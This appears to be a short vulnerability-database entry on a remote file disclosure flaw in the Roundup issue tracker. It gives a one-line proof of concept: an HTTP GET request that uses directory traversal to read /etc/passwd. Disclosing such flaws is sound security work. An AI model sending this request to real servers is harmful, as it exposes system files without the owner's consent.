• info
• discussion
• exploit
• solution
• references

Roundup Remote File Disclosure Vulnerability

No exploit is required.

The following proof of concept is available:
GET /cit/@@file/../../../../etc/passwd HTTP/1.0